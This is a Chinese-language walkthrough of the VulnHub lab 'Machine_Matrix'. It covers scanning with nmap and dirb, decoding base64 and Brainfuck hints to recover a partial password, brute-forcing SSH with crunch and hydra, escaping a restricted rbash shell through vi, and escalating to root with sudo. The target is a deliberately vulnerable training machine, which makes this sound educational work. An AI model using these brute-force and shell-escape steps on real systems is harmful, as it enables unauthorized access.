vulnhub系列:Machine_Matrix

vulnhub系列:Machine_Matrix

靶机下载

一、信息收集

nmap扫描存活,根据mac地址寻找IP

nmap 192.168.23.0/24

image-20240805191809470

nmap扫描端口,开放端口:22、80、31337

nmap 192.168.23.180 -p- -A -sV -Pn

image-20240805191855991

dirb目录扫描,有一个目录assets

dirb http://192.168.23.180/

image-20240805192012406

访问80端口,提示跟随白兔,页面没什么发现

image-20240805191951487

f12查看源码,发现一个图片地址

image-20240805192252176

访问图片,应该是80端口首页提到的白兔

image-20240805192336063

发现图片名字指向了31337端口,访问一下,没什么发现

image-20240805192715896

f12查看源码,发现一串base64加密的字符

ZWNobyAiVGhlbiB5b3UnbGwgc2VlLCB0aGF0IGl0IGlzIG5vdCB0aGUgc3Bvb24gdGhhdCBiZW5kcywgaXQgaXMgb25seSB5b3Vyc2VsZi4gIiA+IEN5cGhlci5tYXRyaXg=

image-20240805192826190

base64解码,发现是把一串内容写入到了 Cypher.matrix 文件中

echo "Then you'll see, that it is not the spoon that bends, it is only yourself. " > Cypher.matrix

image-20240805192924471

将 Cypher.matrix 文件下载下来,查看内容

image-20240805193141847

可能是什么加密方式,搜了一下,是 Brainfuck 加密

image-20240805193339319

使用 BerylEnigma 工具进行解密

You can enter into matrix as guest, with password k1ll0rXX Note: Actually, I forget last two characters so I have replaced with XX try your luck and find correct string of password.

image-20240805193828017

翻译一下,这里提到能以 guest 用户进行登录 ,密码为 k1ll0rXX ,但是最后两位忘了,所以用XX代替,需要爆破一下

二、getshell

根据密码样式,最后两位大概率 小写字母+数字,使用kali中crunch工具生成字典

crunch 8 8 -t k1ll0r%@ -o 1.txt
#参数
8 8:密码最小长度和最大长度
-t:使用特殊符号
%:0-9数字
@:小写字母
-o:输入到指定文件

image-20240805195505379

使用 hydra 工具进行爆破,得到密码 k1ll0r7n

hydra -l guest -P 1.txt ssh://192.168.23.180

image-20240805200209689

ssh进行连接,连接成功

ssh guest@192.168.23.180
k1ll0r7n

image-20240805200355804

三、提权

查看当前权限,命令被限制,无法使用

sudo -l

image-20240805200512089

很多命令无法使用,执行export,发现是受限制shell:rbash

image-20240805201135899

发现vi命令可以使用,vi绕过rbash

vi
按shift+:
!/bin/bash

image-20240805201551280

发现还是无法执行一些命令,执行以下命令,配置环境变量绕过

export PATH=/usr/sbin:/usr/bin:/sbin:/bin

image-20240805201939057

sudo -l显示为all,sudo su提权,提权成功

sudo su

image-20240805202053802

在 root 下找到 flag 文件

image-20240805202216707

  • 7
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值